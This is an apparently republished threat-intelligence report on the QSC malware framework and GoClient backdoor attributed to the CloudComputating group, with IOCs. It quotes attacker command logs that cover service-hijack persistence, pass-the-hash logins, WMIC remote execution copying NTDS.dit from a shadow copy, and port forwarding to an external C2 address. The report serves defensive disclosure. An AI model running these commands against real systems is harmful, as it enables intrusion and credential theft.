QSC: A multi-plugin framework used by CloudComputating group in cyberespionage campaigns

GIXnews

2 weeks ago

Kaspersky Threat Attribution Engine analysis

Introduction

In 2021, we began to investigate an attack on the telecom industry in South Asia. During the investigation, we discovered QSC: a multi-plugin malware framework that loads and runs plugins (modules) in memory. The framework includes a Loader, a Core module, a Network module, a Command Shell module and a File Manager module. It is dropped either as a standalone executable or as a payload file along with a loader DLL. In this post, we describe each component of the framework as well as its recent activity including a deployment scenario, an additional backdoor, post-compromise activity and a link to the CloudComputating group.

QSC framework components

The Loader

The Loader implant is a service DLL with the internal name

loader.dll

. It contains the string “E:projecttestqtbinmoduleloaderx64releaseloader.pdb” as its PDB path. The Loader is configured to either read code from

<systemdir>driversmsnet

or read 0x100 (256) bytes from

n_600s.sys

, located in the same directory as the module, to get the file path containing code. If it reads the file path from

n_600s.sys

, it deletes the file afterwards. The Loader then reads and decompresses code from the provided file path. It reflectively injects the decompressed code into memory and calls the exported method

plugin_working

. The code injected by the Loader is the Core module, which is described below.

The Core and Network modules

The Core module has an internal name,

qscmdll.dll

, and exports only one method, named

plugin_working

. It contains the string “E:projecttestqtbinmoduleqscmdllx64releaseqscmdll.pdb” as its PDB path. The Loader module passes the file path that contains the compressed Network module code as one of the parameters to the Core module.

The Core module reads the Network module (from the passed file path), decompresses it and injects it into memory. The Network module is a 64-bit DLL with the internal name

qscnetwork.dll

. It contains the string “E:projecttestqtbinmoduleqscnetworkx64releaseqscnetwork.pdb” as its PDB path. The Network module exports the methods

setConfig

checkTarget

and

getNetWork

The Core module, after injecting the Network module into memory, initializes it by calling its exported methods in sequence:

```
setConfig
```
: copy configuration data from the Core module to the Network module.
```
checkTarget
```
: validate configuration fields by checking that the lengths of the fields are within their size limits.
```
getNetWork
```
: prepare and get the network object from the Network module for C2 communication. The Network module uses TLS implementation from the MbedTLS library.

In some of the cases, we found that the C2 in the configuration data contained an internal/proxy IP address, which suggested that the attackers were already aware of the target network topology. The configuration file contained the following settings:

C2 IP address;
Port;
Sleep time;
Internal/Proxy IP address;
Proxy port;
Proxy username;
Proxy password.

The Core module supports the following C2 commands:

Command
Description

0x1E0001
Send target information (e.g. computer name, user name, OS version, etc.)

0x1E0002
XOR decode, decompress and load the Command Shell module bytes into memory.
If the File Manager module is not loaded, then load it before loading the Command Shell module.

0x1E0003
XOR decode, decompress and load the File Manager module bytes into memory.

0x1E0004
Heartbeat signal, sent every 2 minutes

0x1E0007
Update the code file path. Create

n_600s.sys

, and write 0x100 (256) bytes received from C2 to this file.

The File Manager module

The File Manager module has the internal name

qscBrowse.dll

. It contains the string “E:projecttestqtbinmoduleqscBrowsex64releaseqscBrowse.pdb” as its PDB path, and exports the following methods.

```
destroy
```
: Free objects relating to network connection, file browsing and file transmission.
```
destroyTransmit
```
: Free network connection and file transmit operation related objects.
```
startBrowse
```
: Browse file system.
```
startTransmit
```
: Read/write file from/to system.
```
stop
```
: Close network connection. Stop the browsing and transmitting operations.
```
stopTransmit
```
: Close network connection and stop file transmitting operations.

The Core module, after reflectively injecting the File Manager module, calls its

startBrowse

method. The

startTransmit

exported method of the File Manager module contains functionality to read/write files from/to the system. It is called when the module executes certain commands. The File Manager module supports following C2 commands:

Command
Description

0x0A20010
If the sub-command is

<root>

, then get the logical drive letters and types in the system. Otherwise, send a list of files and folders at a specified path.

0x0A20011
This is similar to the previous command, but it gets a list of files and folders at a specified path with the following properties:

LastAccessTime for folders;
LastAccessTime and FileSize for files.

0x0A20012
Read the file and send it to the C2.
This is done by calling the

startTransmit

method.

0x0A20013
Create a file in the system and write data from the C2 to the file.
This is done by calling the

startTransmit

method.

0x0A20014
Delete a file from the system.

0x0A20015
Move a file from an existing location to a new one.

Command Shell module

The Command Shell module has the internal name

qscShell.dll

. It contains the string “E:projecttestqtbinmoduleqscShellx64releaseqscShell.pdb” as its PDB path, and exports the methods below.

```
destroy
```
: Free network connection and command shell related objects.
```
startShell
```
: Spawn
```
cmd.exe
```
as a command shell.
```
stop
```
: Close the network connection and terminate the command shell process.

The Core module, after reflectively injecting the Command Shell module, calls its

startShell

method. The Command Shell module launches

%windir%system32cmd.exe

as a shell using the CreateProcess API, and data is written to and read from the shell using pipes. If the size of the received data exceeds 0xB (11) bytes, it checks if the received data starts with one of the command strings below. If the data does not start with one of these command strings, it is written to the command shell via a pipe.

If there is no more data to receive, the command shell is closed by issuing an

exit

command.

Command
Description

.put
Create a file and write content to it.
This is done by calling the

startTransmit

method of the File Manager module.

.get
Read a file from the system.
This is done by calling the

startTransmit

method of the File Manager module.

.ctm
Change a timestamp.
Set LastWriteTime, LastAccessTime and CreationTime of

dest_file

to those of

source_file

QSC framework and GoClient backdoor deployment

When we first discovered the QSC framework in 2021, we had insufficient telemetry to find out how the framework was deployed or who the threat actor behind it was. We continued to monitor our telemetry for further signs of the QSC framework. In October 2023, we detected multiple instances of QSC files targeting an ISP in West Asia. Our investigation found that the target machines had been infected with the Quarian backdoor version 3 (aka Turian) since 2022, and the same attackers had used this access to deploy the QSC framework starting on October 10, 2023.

In addition to the QSC framework, the attackers also deployed a new backdoor written in Golang, which we have named “GoClient”. We saw the first deployment of this GoClient backdoor on October 17, 2023. After analyzing all the artifacts from this campaign, we assess, with medium confidence, that the CloudComputating threat actor is behind the deployment of the QSC framework and the GoClient backdoor.

QSC framework deployment

In October 2023, our telemetry showed that the Quarian backdoor was used to copy

c:windowssystem32cmd.exe

c:windowstask.exe

and launch the command shell. The batch script is executed via the command shell.

net stop swprv
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesswprvParameters /v 
ServiceDll /t REG_EXPAND_SZ /d c:windowssystem32swprr.dll /f
sc config swprv start= auto
ping  -n 120 127.0.0.1
net start swprv

As can be seen above, a service is created to launch the QSC framework loader DLL

swprr.dll

In the same month, our telemetry indicated that yet another batch script had been executed via the Quarian backdoor, with similar commands:

net stop rasauto
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesrasautoParameters /v 
ServiceDll /t REG_EXPAND_SZ /d $system32rasautosvc.dll /f"
sc config rasauto start= auto
ping  -n 120 127.0.0.1
net  start rasauto

Just like the previous set of commands, the goal is to create a service to launch the QSC framework loader DLL

rasautosvc.dll

About a month later, the attacker launched a command shell (

cmd.exe

) using the QSC framework loader DLL file

C:WindowsSystem32rasautosvc.dll

, and dropped the following multiple QSC framework binaries in the specified order:

```
C:WindowsL2Schemasupdate.exe
```
(MD5 d99d97bb78929023d77d080da1b10f42)
```
C:WindowsL2Schemasupdate.exe
```
(MD5 7f89a83cda93ed3ddaa4315ea4ebba45)
```
C:WindowsL2Schemasupdate.exe
```
(MD5 d99d97bb78929023d77d080da1b10f42)
```
C:WindowsL2Schemasupdate.exe
```
(MD5 112820e9a87239c2e11ead80759bef85)
```
C:WindowsL2Schemasupdate.exe
```
(MD5 d99d97bb78929023d77d080da1b10f42)

Over the course of the next few months, more QSC framework binaries were dropped on the system via the same mechanism.

GoClient backdoor deployment

Also in October 2023, we found that the threat actor dropped and executed the GoClient backdoor file onto the affected system as

c:programdatausosharedintop64.exe

, again using the Quarian backdoor infection.

GoClient backdoor

The GoClient backdoor file communicates with the C2, hardcoded in the malware, via TLS. In order to initiate the communication, the malware prepares the challenge key by base64-encoding the hardcoded value of “177a7b1cf2441c7ebf626ebc7e807017” and sending it to the C2 server. If the challenge key is accepted, the C2 server sends a 16-byte value, which will be used as an RC4 key to encrypt/decrypt all subsequent messages between the malware and the server.

Next, the malware collects a list of system information (e.g. hostname, local IP, number of CPUs, etc.) from the victim’s machine in JSON format, encrypts it with an RC4 key, encodes it in base64 and sends it to the server.

The backdoor then receives a base64-encoded and RC4-encrypted, space-delimited list of command strings from the C2 server to execute on the victim’s machine.

The main C2 commands available are listed below:

Command
Description

89562
File manipulation. After checking available disk space on all drives and sending the information back to the C2, the backdoor can receive follow-up commands which can be:

717953: Rename file;
789852: Change file time attributes;
7412369: Upload file;
7417862: Download file;
6cb6928f: Remove file.

98423
Command execution. The backdoor requests additional commands from the C2. The follow-up commands below can be received:

7412369: Upload file;
7417862: Download file;
79c461a4: Set a variable that holds the character encoding string (the default value is “UTF-8”);
cd: Change current working directory;
chdir: Change current working directory;
75391: Close the connection;
Any other command: Create a
```
cmd.exe /c
```
process. Write the received commands to stdin pipe for execution and read the output from stdout pipes.

dc191340
Close the connection, delete its own module file and terminate its own process.

26c108d6
Create a screenshot of the machine and save on a file named

cap.png

Post-compromise activity using the GoClient backdoor

As mentioned above, the GoClient backdoor can be used to execute commands on a target system. This functionality was frequently used by the attackers. For example, they dropped the legitimate

rar.exe

file in c:inetpubtemp and uploaded a batch script,

1.bat

, to the same location. Next, according to our telemetry, they executed

1.bat

. The batch script contains the following commands:

ping www.google.com -n 2
File Create("c:inetpubtempa.dat");
systeminfo
ipconfig /all
netstat -ano -p tcp
tasklist /svc
net start
net view
arp -a
net localgroup administrators
reg query hkey_users
netsh firewall show config
net group /domain
net group "domain controllers" /domain
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet 
Settings"
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBITS
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBITSparameters
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesappmgmt
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesappmgmtparameters
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesrasauto
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesrasautoparameters
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetserviceswuauserv
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetserviceswuauservparameters
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesswprv
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesswprvparameters
reg add 
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v 
LocalAccountTokenFilterPolicy /t REG_DWORD /d 0x1 /f
c:inetpubtemprar.exe a c:inetpubtemps.rar c:inetpubtemp*.dat

As can be seen from the list of executed commands, the attackers are primarily interested in collecting system information. Only at the end do they disable UAC remote restrictions and compress the harvested data with the previously uploaded

rar.exe

utility.

Post-compromise activity using the QSC framework

The QSC framework was also leveraged to execute a series of commands to find the domain controller on the network, the file server and other machines as shown below. The domain controller was queried to view the list of users within the groups “domain controllers” and “domain computers”:

net group /domain
net group "domain controllers" /domain
ping dc01 -n 1"
ping dc02 -n 1"
net group "domain computers" /domain
ping 172.19.19.1 -n 1
ping 172.19.19.2 -n 1
tracert 172.19.19.2
netstat -ano 
ping -a 172.17.104.102 -n 1
netstat -ano 
findstr 172.19
ping -n -a fileserver
ping -n 1 -a fileserver

The attackers then dropped a tool to c:WindowsL2Schemaswe.exe. We could not obtain a copy of

we.exe

, but it was used to log in to the domain controller machine using the “pass the hash” technique and execute commands remotely:

we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c 
<user_name>@<domain_controller_ip> "whoami"

we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c 
<domain>/<user_name>@<domain_controller_ip> -dc-ip <domain_controller_ip> "whoami"

wm.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c 
<domain>/<user_name>@<domain_controller_ip> "whoami" -with-output

Next, the actor tried to list the users under the group “domain admins”:

net group "domain admins" /domain

One of the domain admin accounts was used by the attacker to remotely execute various commands on the domain controller and other machines using WMIC. Commands were executed to obtain the network configuration, and a shadow copy of the C: drive and the NTDS database. All information thus collected was then stored at userdownloads1.txt on the domain controller:

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c ipconfig >>$userdownloads1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call 
create "vssadmin create shadow /for=C: >> $userdownloads1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call 
create "copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowsNTDSNTDS.dit 
$userdownloads"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call 
create "vssadmin delete shadows /for=c: /quiet"

Lateral movement (deploying the QSC framework)

By using WMIC and the stolen domain admin credentials, the attackers were able to execute the QSC framework on other machines within the affected network. We found multiple instances during our investigation where the attackers used WMIC to remotely run either a QSC framework loader DLL or a QSC framework executable on a target machine.

We found that the QSC framework sample

update.exe

(MD5 d99d97bb78929023d77d080da1b10f42) was configured to use a local IP address (pivot machine address

172.17.99[.]5:8080

) as a C2 address. Similarly, the sample

update.exe

(MD5 7f89a83cda93ed3ddaa4315ea4ebba45) was configured to use an internal IP address (pivot machine address

172.17.99[.]5:80

) but run on port 80. This might suggest either that these samples were deployed on machines without internet access or that the threat actor decided to channel all C2 communication through selected machines for other reasons.

Just after executing each instance of the above QSC framework samples on the remote machine, the attacker executed

%windir%l2schemaspf.exe

on the pivot machine. While we could not obtain a copy of

pf.exe

, it seemed to perform port forwarding operations to forward any traffic coming to the pivot machine’s local IP address on port 8080/80 to the remote C2 server address

108.61.206[.]206

on port 8080.

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c %temp%update.exe"

%windir%l2schemaspf.exe  tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

tasklist
 
findstr  pf.exe

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c taskkill /im net.exe /f"

net  view <internal_ip>

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c tasklist >> 
D:fileserverpublicapplicationsdriversapple1.txt"

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c taskkill /im update.exe /f >> 
D:fileserverpublicapplicationsdriversapple1.txt"

taskkill  /im pf.exe /f

netsh  firewall show state

netsh  firewall show config

netsh  firewall delete portopening tcp 8080

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c %temp%update.exe"

%windir%l2schemaspf.exe tcp listen:127.0.0.1:80 conn:108.61.206[.]206:8080"

tasklist  

findstr  pf.exe

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c taskkill /im update.exe /f >> 
D:fileserverpublicapplicationsdriversapple1.txt"

netstat  -anb
netstat  -anb -p tcp

netsh  firewall show state

netstat  -anb -p tcp 
findstr  15001

netstat  -anb -p tcp 
findstr  8080

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c %temp%update.exe"

%windir%l2schemaspf.exe  tcp listen:127.0.0.1:8080 conn:108.61.206.206:8080

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c netstat -ano -p tcp 
>>D:fileserverpublicapplicationsdriversapple1.txt"

ping  -n 1 108.61.206[.]206

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create 
"system32cmd.exe /c ping -n 1 40.113.110[.]67 
>>D:fileserverpublicapplicationsdriversapple1.txt"

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c tasklist 
>>D:fileserverpublicapplicationsdriversapple1.txt"

ping  -n 1 40.113.110[.]67

taskkill  /im pf.exe /f

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c ping -n 1 <internal_ip_2> 
>>D:fileserverpublicapplicationsdriversapple1.txt"

%windir%l2schemaspf.exe  tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

net  use <internal_ip_2> <user_password> /u:<user_name>

tasklist

findstr  update.exe

net  use * /d /y

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "%windir%l2schemasupdate.exe"

wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c tasklist 
>>D:fileserverpublicapplicationsdriversapple1.txt"

"wmic  /node:<internal_ip> /user:<user_name> /password:<user_password> process call 
create "system32cmd.exe /c netstat -ano -p tcp 
>>D:fileserverpublicapplicationsdriversapple1.txt"

%windir%l2schemaspf.exe  tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

Attribution

We found multiple artifacts that helped us in attributing the QSC framework and the activity described above to the CloudComputating (aka BackdoorDiplomacy, Faking Dragon) group:

On February 23, 2024, our product detected the presence of the file
```
C:WindowsSysWOW64appmgmt.dll
```
(MD5 97b0a8e8d125e71d3d1dd8e241d70c5b). This DLL file is Quarian backdoor version 3 (aka Turian), compiled on Thursday, 28.04.2022 02:59:40 UTC. Quarian backdoor version 3 (aka Turian) was used to deploy the QSC framework and GoClient backdoor as described above.
The Quarian backdoor sample
```
C:WindowsSysWOW64appmgmt.dll
```
(MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) was configured to use the domain “proxy.oracleapps[.]org”, which was previously used by BackdoorDiplomacy as reported by Bitdefender in their report, “Cyber-Espionage in the Middle East: Investigating a New BackdoorDiplomacy Threat Actor Campaign“.
The Quarian backdoor sample code is protected by VMProtect. After unpacking it, our KTAE (Kaspersky Threat Attribution Engine) attribution engine found a high degree of similarity with the CloudComputating group’s other malware.
Kaspersky Threat Attribution Engine analysis
We observed that the Quarian backdoor V3 sample
```
C:WindowsSysWOW64appmgmt.dll
```
(MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) shell command created a copy of
```
cmd.exe
```
in the Windows directory with
```
task.exe
```
as the filename.
In this campaign, we found C:ProgramDataUSOShared to be a common directory which contained the QSC framework, the GoClient backdoor, Quarian backdoor version 3 binaries and tools used in reconnaissance and post-compromise activity. This also helps in tracing all the implants and tools to the CloudComputating group. Some of the tools, such as TailorScan and StowProxy, are known to have been used by CloudComputating in past activity discovered in the Middle East.
MD5
FilePath
Comment
7a5a354b4ee40d694d7935f5
061fbd06
C:ProgramDataUSOShared
msvcen.exe
QSC framework
5eba7f8a9323c2d9ceac9a0f
91fad02f
C:ProgramDataUSOShared
intop64.exe
GoClient backdoor
0fe65bbf23b0c589ad462e84
7e9bfcaf
C:ProgramDataUSOShared
ts6.exe
TailorScan. Executed by
Quarian backdoor
50be5e66a94a25e61d61028d
b6a41007
C:ProgramDataUSOShared
agt.exe
StowProxy. Executed by
Quarian backdoor
6a09bc6c19c4236c0bd8a019
53371a29
C:ProgramDataUSOShared
pdp.exe
ProcDump. Executed by
Quarian backdoor
efbdfeea6ececf08f24121d5
d444b751
C:ProgramDataUSOShared
to0.exe
Executed by Quarian
backdoor. Could not get
copy of the sample
567b921d9757928a4bd137a0
8cfff06b
C:ProgramDataUSOShared
fn.exe
Executed by Quarian
backdoor. Could not get
copy of the sample

Conclusions

Our investigation has revealed a significant shift in the tactics of the CloudComputating group, marked by their adoption of the QSC framework alongside the previously identified Quarian backdoor and its variants. Our telemetry data indicates that the group has initiated limited yet targeted campaigns using QSC framework and focusing specifically on the telecommunication sector. Additionally, in response to detection of the Quarian backdoor, the group has begun deploying a protected version. The usage of the QSC framework suggests a strategic change in their toolkit, serving as a secondary means to maintain access within compromised networks. This evolution underscores the group’s adaptability and emphasizes the importance of continuous monitoring of its future activities.

QSC is a modular framework, of which only the initial loader remains on disk while the core and network modules are always in memory. Using a plugin-based architecture gives attackers the ability to control which plugin (module) to load in memory on demand depending on the target of interest.

IOCs

QSC framework Loader
d88ef85941ec6be99fd1e38ad5702bae
6da5b3bc89a6d83bc80b462c29f1715b
de4e76c9c5916570e75411aab7141f73

QSC framework executable
c687b0b8a8cc86638b53ca6d66ede382
d3749cef1a91a0a80a013d5a8b2c28d1
d99d97bb78929023d77d080da1b10f42
4dde0699dd21b16afa38be92efcfec61
112820e9a87239c2e11ead80759bef85
7a5a354b4ee40d694d7935f5061fbd06
0f0b8d2f648a4609cf2f6decd3407c8c
3dbc5b5e5f6713b9a6b838da25075187

GoClient backdoor
5eba7f8a9323c2d9ceac9a0f91fad02f
9da4b88a6b80db85c102ce8c841f0a5c
b581c0835934460719181afd9abf5a4e

Quarian backdoor version 3 (aka Turian)
97b0a8e8d125e71d3d1dd8e241d70c5b
a83a869df90acb5344a6e9b11e5f6e74

Batch scripts to deploy QSC framework DLL
76caef183ad0c869f3cb8b474f6a0fd7
3d62eee8d7fe5d6c86946a4e14db784f

Batch scripts dropped by GoClient backdoor to collect victim information
23351bc0b2be2ffb946de2bf7770df2e
23313406b64e1d0e8ec4a3c173ceda21

Tools used in post-compromise activity
b09cf30e7f0e326c9127047bdf518d05
eaff84466e086e9ca204e0548af3fbeb
ee4cb0891056c89b61b3ff3c8040a994
efbdfeea6ececf08f24121d5d444b751
567b921d9757928a4bd137a08cfff06b

File paths
C:WindowsL2Schemasupdate.exe
C:WindowsL2Schemasupdate64.exe
C:ProgramDataUSOSharedmsvcen.exe
c:ProgramDatapackage cache{d401961d-3a20-3ac7-943b-6139d5bd490adwn.exe
C:WindowsSystem32audio.dll
C:WindowsSystem32rasautosvc.dll
C:WindowsL2Schemasaudio.dll
C:programdatausosharedintop64.exe
C:ProgramDatausoprivateupdatestoreintop64.exe
C:ProgramDatapackage cache{010792ba-551a-3ac0-a7ef-0fab4156c382}v12.0.40664csrs.exe
C:WindowsSysWOW64appmgmt.dll
C:WindowsL2Schemasw3wpt.exe
C:WindowsL2Schemaswe.exe
C:WindowsL2Schemaspf.exe
C:WindowsL2Schemaspt.exe
C:WindowsL2Schemasonlytcp.exe
C:ProgramDataUSOSharedto0.exe
C:ProgramDataUSOSharedfn.exe
C:WindowsSysWOW64driversc.bat
C:WindowsSysWOW64driversc.bat
C:WindowsTempc.bat
c:inetpubtemp1.bat
C:WindowsL2SchemasE.bat

PDB paths
C:UsersabcDesktopvsbinmoduleqscexecx64releaseqscexe.pdb
C:UsersabcDesktopvsbinmoduleqscexecx64releaseqscexe.pdb
C:UsersabcDesktopvsbinmoduleqscexecreleaseqscexe.pdb
C:UsersabcDesktopvsbinmoduleqscexecx64releaseqscexe.pdb
C:UserspigDocumentsqs-domainlessbinmoduleqscexecx64releaseqscexe.pdb
C:UsersabcDesktopvsbinmoduleloaderx64releaseloader.pdb

Domains and IPs
www.numupdate[.]com
www.pubsectors[.]com
www.delhiopera[.]com
asistechs[.]com
sanchaar[.]net
108.61.206[.]206
www.birdsvpn[.]com
newsinlevel[.]cc

Source:: Securelist